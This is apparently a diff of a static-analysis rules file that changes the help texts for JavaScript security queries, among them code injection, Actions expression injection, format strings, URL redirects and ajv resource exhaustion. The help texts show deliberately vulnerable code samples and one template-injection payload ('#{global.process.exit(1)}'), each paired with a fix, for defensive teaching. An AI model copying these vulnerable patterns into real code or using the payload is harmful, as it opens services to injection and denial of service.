-            "markdown" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
-          },
-          "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-400" ],
-            "description" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service.",
-            "id" : "js/resource-exhaustion-from-deep-object-traversal",
-            "kind" : "path-problem",
-            "name" : "Resources exhaustion from deep object traversal",
-            "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.5"
-          }
-        }, {
-          "id" : "js/tainted-format-string",
-          "name" : "js/tainted-format-string",
-          "shortDescription" : {
-            "text" : "Use of externally-controlled format string"
-          },
-          "fullDescription" : {
-            "text" : "Using external input in format strings can lead to garbled output."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "warning"
-          },
-          "help" : {
-            "text" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n",
-            "markdown" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n"
+            "text" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n",
+            "markdown" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n"
           },
           "properties" : {
             "tags" : [ "security", "external/cwe/cwe-134" ],
@@ -1329,111 +1292,57 @@
             "security-severity" : "7.3"
           }
         }, {
-          "id" : "js/unsafe-dynamic-method-access",
-          "name" : "js/unsafe-dynamic-method-access",
-          "shortDescription" : {
-            "text" : "Unsafe dynamic method access"
-          },
-          "fullDescription" : {
-            "text" : "Invoking user-controlled methods on certain objects can lead to remote code execution."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "error"
-          },
-          "help" : {
-            "text" : "# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
-            "markdown" : "# Unsafe dynamic method access\nCalling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property.\n\n\n## Recommendation\nAvoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on.\n\n\n## Example\nIn the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`.\n\n\n```javascript\n// API methods\nfunction play(data) {\n  // ...\n}\nfunction pause(data) {\n  // ...\n}\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function \n    window[message.name](message.payload);\n});\n\n```\nInstead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`.\n\n\n```javascript\n// API methods\nlet api = {\n  play: function(data) {\n    // ...\n  },\n  pause: function(data) {\n    // ...\n  }\n};\n\nwindow.addEventListener(\"message\", (ev) => {\n    let message = JSON.parse(ev.data);\n\n    // Let the parent frame call the 'play' or 'pause' function\n    if (!api.hasOwnProperty(message.name)) {\n      return;\n    }\n    api[message.name](message.payload);\n});\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties).\n* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
-          },
-          "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-094" ],
-            "description" : "Invoking user-controlled methods on certain objects can lead to remote code execution.",
-            "id" : "js/unsafe-dynamic-method-access",
-            "kind" : "path-problem",
-            "name" : "Unsafe dynamic method access",
-            "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "9.3"
-          }
-        }, {
-          "id" : "js/code-injection",
-          "name" : "js/code-injection",
+          "id" : "js/client-side-unvalidated-url-redirection",
+          "name" : "js/client-side-unvalidated-url-redirection",
           "shortDescription" : {
-            "text" : "Code injection"
+            "text" : "Client-side URL redirect"
           },
           "fullDescription" : {
-            "text" : "Interpreting unsanitized user input as code allows a malicious user arbitrary code execution."
+            "text" : "Client-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n",
+            "markdown" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-095", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Interpreting unsanitized user input as code allows a malicious user arbitrary\n              code execution.",
-            "id" : "js/code-injection",
+            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-601" ],
+            "description" : "Client-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.",
+            "id" : "js/client-side-unvalidated-url-redirection",
             "kind" : "path-problem",
-            "name" : "Code injection",
+            "name" : "Client-side URL redirect",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.3"
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/actions/command-injection",
-          "name" : "js/actions/command-injection",
+          "id" : "js/server-side-unvalidated-url-redirection",
+          "name" : "js/server-side-unvalidated-url-redirection",
           "shortDescription" : {
-            "text" : "Expression injection in Actions"
+            "text" : "Server-side URL redirect"
           },
           "fullDescription" : {
-            "text" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious user to inject code into the GitHub action."
+            "text" : "Server-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - run: |\n        echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    -  env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
-            "markdown" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - run: |\n        echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    -  env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n  echo-body:\n    runs-on: ubuntu-latest\n    steps:\n    - env:\n        BODY: ${{ github.event.issue.body }}\n      run: |\n        echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
-          },
-          "properties" : {
-            "tags" : [ "actions", "security", "external/cwe/cwe-094" ],
-            "description" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious\n              user to inject code into the GitHub action.",
-            "id" : "js/actions/command-injection",
-            "kind" : "problem",
-            "name" : "Expression injection in Actions",
-            "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "9.3"
-          }
-        }, {
-          "id" : "js/bad-code-sanitization",
-          "name" : "js/bad-code-sanitization",
-          "shortDescription" : {
-            "text" : "Improper code sanitization"
-          },
-          "fullDescription" : {
-            "text" : "Escaping code as HTML does not provide protection against code injection."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "error"
-          },
-          "help" : {
-            "text" : "# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Improper code sanitization\nUsing string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker.\n\n\n## Recommendation\nIf using `JSON.stringify` or an HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters.\n\n\n## Example\nThe example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains `</script>`, then the generated code will break out of a `</script>` if inserted into a `</script>` tag.\n\n\n```javascript\nfunction createObjectWrite() {\n    const assignment = `obj[${JSON.stringify(key)}]=42`;\n    return `(function(){${assignment}})` // NOT OK\n}\n```\nThe issue has been fixed by escaping potentially dangerous characters, as shown below.\n\n\n```javascript\nconst charMap = {\n    '<': '\\\\u003C',\n    '>' : '\\\\u003E',\n    '/': '\\\\u002F',\n    '\\\\': '\\\\\\\\',\n    '\\b': '\\\\b',\n    '\\f': '\\\\f',\n    '\\n': '\\\\n',\n    '\\r': '\\\\r',\n    '\\t': '\\\\t',\n    '\\0': '\\\\0',\n    '\\u2028': '\\\\u2028',\n    '\\u2029': '\\\\u2029'\n};\n\nfunction escapeUnsafeChars(str) {\n    return str.replace(/[<>\\b\\f\\n\\r\\t\\0\\u2028\\u2029]/g, x => charMap[x])\n}\n\nfunction createObjectWrite() {\n    const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`;\n    return `(function(){${assignment}})` // OK\n}\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
